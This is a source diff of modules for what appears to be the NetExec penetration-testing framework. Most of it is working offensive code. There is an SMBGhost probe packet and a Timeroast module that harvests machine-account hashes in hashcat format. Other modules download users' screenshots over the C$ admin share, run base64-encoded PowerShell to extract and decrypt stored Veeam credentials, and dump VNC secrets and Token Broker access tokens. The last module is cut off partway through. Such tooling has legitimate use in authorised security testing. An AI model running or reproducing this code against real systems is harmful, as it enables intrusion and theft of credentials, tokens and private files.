SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
class NXCModule:
|
||||
name = "smbghost"
|
||||
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
# Define options if needed
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack(connection.host):
|
||||
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
|
||||
|
||||
def perform_attack(self, target_ip):
|
||||
self.context.log.debug("Performing SMBGhost check...")
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
||||
sock.settimeout(5)
|
||||
sock.connect((target_ip, 445))
|
||||
sock.send(SMBGHOST_PKT)
|
||||
|
||||
# Receive the first 4 bytes for length
|
||||
nb_data = sock.recv(4)
|
||||
if len(nb_data) < 4:
|
||||
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
|
||||
return False
|
||||
|
||||
nb, = struct.unpack(">I", nb_data)
|
||||
res = sock.recv(nb)
|
||||
|
||||
# Check response for vulnerability
|
||||
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
|
||||
return True
|
||||
else:
|
||||
self.context.log.debug(f"{target_ip} Not vulnerable.")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while connecting to host: {e}")
|
||||
return False
|
||||
@@ -0,0 +1,134 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
name = "snipped"
|
||||
description = "Downloads screenshots taken by the (new) Snipping Tool."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.excluded_files = ["desktop.ini"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
|
||||
self.context = context
|
||||
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
|
||||
|
||||
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = "C$"
|
||||
|
||||
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
|
||||
os.makedirs(output_base_dir, exist_ok=True)
|
||||
|
||||
context.log.info("Getting all user folders")
|
||||
try:
|
||||
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list user folders: {e}")
|
||||
return
|
||||
|
||||
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
|
||||
if not user_folders:
|
||||
context.log.fail("No User folders found!")
|
||||
return
|
||||
else:
|
||||
context.log.info("Attempting to download screenshots if they exist.")
|
||||
|
||||
total_files_downloaded = 0
|
||||
host_output_path = None
|
||||
|
||||
for user_folder in user_folders:
|
||||
folder_name = user_folder.get_longname()
|
||||
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
|
||||
normalized_name = folder_name.lower()
|
||||
if self.users and normalized_name not in self.users:
|
||||
continue
|
||||
|
||||
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
|
||||
screenshots_folders = self.find_screenshots_folders(folder_name)
|
||||
if not screenshots_folders:
|
||||
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
|
||||
continue
|
||||
|
||||
for screenshot_path in screenshots_folders:
|
||||
try:
|
||||
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
|
||||
continue
|
||||
|
||||
if not screenshot_files:
|
||||
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
|
||||
continue
|
||||
|
||||
user_output_dir = join(output_base_dir, connection.host)
|
||||
os.makedirs(user_output_dir, exist_ok=True)
|
||||
host_output_path = user_output_dir
|
||||
|
||||
for file in screenshot_files:
|
||||
if not file.is_directory():
|
||||
remote_file_name = file.get_longname()
|
||||
|
||||
if remote_file_name.lower() in self.excluded_files:
|
||||
context.log.debug(f"Excluding file {remote_file_name}.")
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
|
||||
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
|
||||
local_file_path = join(user_output_dir, local_file_name)
|
||||
|
||||
try:
|
||||
with open(local_file_path, "wb") as local_file:
|
||||
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
|
||||
connection.conn.getFile(self.share, remote_file_path, local_file.write)
|
||||
|
||||
if not exists(local_file_path):
|
||||
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
|
||||
continue
|
||||
|
||||
file_size = getsize(local_file_path)
|
||||
if file_size == 0:
|
||||
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
|
||||
os.remove(local_file_path)
|
||||
else:
|
||||
total_files_downloaded += 1
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
|
||||
|
||||
if total_files_downloaded > 0 and host_output_path:
|
||||
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
|
||||
|
||||
|
||||
def find_screenshots_folders(self, user_folder_name):
|
||||
"""
|
||||
Dynamically searches for all Screenshots folders in the user's home directory.
|
||||
Returns a list of paths.
|
||||
"""
|
||||
base_path = ntpath.normpath(join(r"Users", user_folder_name))
|
||||
screenshots_folders = []
|
||||
try:
|
||||
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
|
||||
for subfolder in subfolders:
|
||||
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
|
||||
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
|
||||
try:
|
||||
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
|
||||
screenshots_folders.append(potential_path)
|
||||
except Exception:
|
||||
continue
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
|
||||
return screenshots_folders
|
||||
+19
-21
@@ -3,11 +3,11 @@ import errno
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
import traceback
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSTimeout
|
||||
|
||||
|
||||
CHUNK_SIZE = 4096
|
||||
@@ -117,18 +117,16 @@ class SMBSpiderPlus:
|
||||
filelist = self.smb.conn.listPath(share, subfolder + "*")
|
||||
|
||||
except SessionError as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
|
||||
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
|
||||
except NetBIOSTimeout as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
return filelist
|
||||
|
||||
def get_remote_file(self, share, path):
|
||||
@@ -159,15 +157,15 @@ class SMBSpiderPlus:
|
||||
remote_file.__smbConnection = self.smb.conn
|
||||
return self.read_chunk(remote_file)
|
||||
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
break
|
||||
|
||||
return chunk
|
||||
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
|
||||
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
|
||||
The folder path and filename are then obtained separately.
|
||||
"""
|
||||
@@ -214,13 +212,13 @@ class SMBSpiderPlus:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[share_name] = {}
|
||||
self.spider_folder(share_name, "")
|
||||
except SessionError:
|
||||
traceback.print_exc()
|
||||
self.logger.fail("Got a session error while spidering.")
|
||||
except (SessionError, NetBIOSTimeout) as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
|
||||
self.reconnect()
|
||||
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
self.logger.exception(e)
|
||||
self.logger.fail(f"Error enumerating shares: {e!s}")
|
||||
|
||||
# Save the metadata.
|
||||
@@ -255,7 +253,7 @@ class SMBSpiderPlus:
|
||||
# Check file-dir exclusion filter.
|
||||
if any(d in next_filedir.lower() for d in self.exclude_filter):
|
||||
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
|
||||
self.stats[f"{result_type}s_filtered"] += 1
|
||||
self.stats[f"num_{result_type}s_filtered"] += 1
|
||||
continue
|
||||
|
||||
if result_type == "folder":
|
||||
@@ -287,8 +285,9 @@ class SMBSpiderPlus:
|
||||
# Check file extension filter.
|
||||
_, file_extension = splitext(file_path)
|
||||
if file_extension:
|
||||
file_extension = file_extension.lstrip(".")
|
||||
self.stats["file_exts"].add(file_extension.lower())
|
||||
if file_extension.lower() in self.exclude_exts:
|
||||
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
|
||||
self.logger.info(f'The file "{file_path}" has an excluded extension.')
|
||||
self.stats["num_files_filtered"] += 1
|
||||
return
|
||||
@@ -374,7 +373,7 @@ class SMBSpiderPlus:
|
||||
|
||||
def dump_folder_metadata(self, results):
|
||||
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
|
||||
|
||||
|
||||
The results are formatted with indentation and sorted keys before being written to the file.
|
||||
"""
|
||||
metadata_path = join(self.output_folder, f"{self.host}.json")
|
||||
@@ -412,8 +411,7 @@ class SMBSpiderPlus:
|
||||
self.logger.display(f"Total folders found: {num_folders}")
|
||||
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
|
||||
if num_folders_filtered:
|
||||
num_filtered_folders = len(num_folders_filtered)
|
||||
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
|
||||
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
|
||||
|
||||
# File statistics.
|
||||
num_files = self.stats.get("num_files", 0)
|
||||
@@ -487,7 +485,7 @@ class NXCModule:
|
||||
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
|
||||
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
|
||||
MAX_FILE_SIZE Max file size to download (Default: 51200)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
|
||||
"""
|
||||
self.download_flag = False
|
||||
if any("DOWNLOAD" in key for key in module_options):
|
||||
@@ -500,7 +498,7 @@ class NXCModule:
|
||||
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
|
||||
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
|
||||
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Started module spidering_plus with the following options:")
|
||||
|
||||
@@ -42,12 +42,12 @@ class NXCModule:
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
context.log.display("Getting the Sites and Subnets from domain")
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=f"CN=Configuration,{dn}",
|
||||
searchFilter="(objectClass=site)",
|
||||
attributes=["distinguishedName", "name", "description"],
|
||||
@@ -68,7 +68,7 @@ class NXCModule:
|
||||
site_description = site["description"]
|
||||
|
||||
# Getting subnets of this site
|
||||
list_subnets = connection.ldapConnection.search(
|
||||
list_subnets = connection.ldap_connection.search(
|
||||
searchBase=f"CN=Sites,CN=Configuration,{dn}",
|
||||
searchFilter=f"(siteObject={site_dn})",
|
||||
attributes=["distinguishedName", "name"],
|
||||
@@ -86,7 +86,7 @@ class NXCModule:
|
||||
|
||||
if self.showservers:
|
||||
# Getting machines in these subnets
|
||||
list_servers = connection.ldapConnection.search(
|
||||
list_servers = connection.ldap_connection.search(
|
||||
searchBase=site_dn,
|
||||
searchFilter="(objectClass=server)",
|
||||
attributes=["cn"],
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
from binascii import hexlify, unhexlify
|
||||
from select import select
|
||||
from time import time
|
||||
from socket import socket, AF_INET, SOCK_DGRAM
|
||||
from struct import pack, unpack
|
||||
|
||||
|
||||
|
||||
def hashcat_format(rid, hashval, salt):
|
||||
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
|
||||
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Disgame: @Disgame
|
||||
Based on research from SecuraBV (@SecuraBV)
|
||||
|
||||
https://github.com/SecuraBV/Timeroast/
|
||||
|
||||
Much of this code was copied from the original implementation.
|
||||
"""
|
||||
|
||||
name = "timeroast"
|
||||
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
|
||||
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
|
||||
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.rids = range(1, 2**31)
|
||||
self.rate = 180
|
||||
self.timeout = 24
|
||||
self.src_port = 0
|
||||
self.old_hashes = False
|
||||
self.target = None
|
||||
|
||||
if "rids" in module_options:
|
||||
self.rids = module_options["rids"]
|
||||
if "rate" in module_options:
|
||||
self.rate = module_options["rate"]
|
||||
if "timeout" in module_options:
|
||||
self.timeout = module_options["timeout"]
|
||||
if "src_port" in module_options:
|
||||
self.src_port = module_options["src_port"]
|
||||
if "old_hashes" in module_options:
|
||||
self.old_hashes = module_options["old_hashes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.target is None:
|
||||
self.target = connection.host
|
||||
|
||||
context.log.display("Starting Timeroasting...")
|
||||
|
||||
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
|
||||
context.log.highlight(hashcat_format(rid, md5hash, salt))
|
||||
|
||||
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
|
||||
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
|
||||
Rate is the number of queries per second to send.
|
||||
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
|
||||
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
|
||||
issues.
|
||||
|
||||
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
|
||||
"""
|
||||
# Flag in key identifier that indicates whether the old or new password should be used.
|
||||
keyflag = 2**31 if old_pwd else 0
|
||||
|
||||
# Bind UDP socket.
|
||||
with socket(AF_INET, SOCK_DGRAM) as sock:
|
||||
try:
|
||||
sock.bind(("0.0.0.0", src_port))
|
||||
except PermissionError:
|
||||
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
|
||||
|
||||
|
||||
query_interval = 1 / rate
|
||||
last_ok_time = time()
|
||||
rids_received = set()
|
||||
rid_iterator = iter(rids)
|
||||
|
||||
while time() < last_ok_time + giveup_time:
|
||||
# Send out query for the next RID, if any.
|
||||
query_rid = next(rid_iterator, None)
|
||||
if query_rid is not None:
|
||||
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
|
||||
sock.sendto(query, (dc_host, 123))
|
||||
|
||||
# Wait for either a response or time to send the next query.
|
||||
ready, [], [] = select([sock], [], [], query_interval)
|
||||
if ready:
|
||||
reply = sock.recvfrom(120)[0]
|
||||
|
||||
# Extract RID, hash and "salt" if succesful.
|
||||
if len(reply) == 68:
|
||||
salt = reply[:48]
|
||||
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
|
||||
md5hash = reply[-16:]
|
||||
|
||||
# Filter out duplicates.
|
||||
if answer_rid not in rids_received:
|
||||
rids_received.add(answer_rid)
|
||||
yield answer_rid, md5hash, salt
|
||||
last_ok_time = time()
|
||||
@@ -71,12 +71,12 @@ class NXCModule:
|
||||
Users can specify additional LDAP filters that are applied to the query.
|
||||
"""
|
||||
self.context = context
|
||||
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=self.search_filter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
|
||||
+36
-13
@@ -40,6 +40,9 @@ class NXCModule:
|
||||
PostgresUserForWindowsAuth = ""
|
||||
SqlDatabaseName = ""
|
||||
|
||||
# Salt for newer Veeam versions
|
||||
salt = ""
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
@@ -72,6 +75,8 @@ class NXCModule:
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
salt = self.get_salt(context, remoteOps, regHandle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v12 installation found")
|
||||
@@ -107,28 +112,38 @@ class NXCModule:
|
||||
# Check if we found an SQL Server of some kind
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
|
||||
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
|
||||
self.printCreds(context, credentials)
|
||||
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
|
||||
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
|
||||
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
|
||||
self.printCreds(context, credentials)
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
def get_salt(self, context, remoteOps, regHandle):
|
||||
try:
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
|
||||
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Salt found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
@@ -136,13 +151,13 @@ class NXCModule:
|
||||
def printCreds(self, context, output):
|
||||
# Format output if returned in some XML Format
|
||||
if "CLIXML" in output:
|
||||
output = self.stripXmlOutput(context, output)
|
||||
output = output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
if "Access denied" in output:
|
||||
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
|
||||
|
||||
# Stripping whitespaces and newlines
|
||||
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
|
||||
output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()]
|
||||
|
||||
# Error handling
|
||||
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
|
||||
@@ -152,12 +167,20 @@ class NXCModule:
|
||||
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
|
||||
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
|
||||
try:
|
||||
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
|
||||
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
|
||||
for account in output_stripped:
|
||||
user, password = account.split(" ", 1)
|
||||
password = password.replace("WHITESPACE_ERROR", " ")
|
||||
context.log.highlight(f"{user}:{password}")
|
||||
if " " in password:
|
||||
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
|
||||
# Remove multiple whitespaces
|
||||
account = " ".join(account.split())
|
||||
try:
|
||||
user, password, description = account.split(" ", 2)
|
||||
except ValueError:
|
||||
user, password = account.split(" ", 1)
|
||||
description = ""
|
||||
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
context.log.highlight(f"{user:<40} {password:<40} {description}")
|
||||
except ValueError:
|
||||
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
|
||||
context.log.fail("Please report this issue on GitHub!")
|
||||
|
||||
+4
-11
@@ -1,6 +1,5 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -13,6 +12,8 @@ from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -51,7 +52,7 @@ class NXCModule:
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
|
||||
host = connection.hostname + "." + connection.domain
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
@@ -73,7 +74,7 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
@@ -81,14 +82,6 @@ class NXCModule:
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import re
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
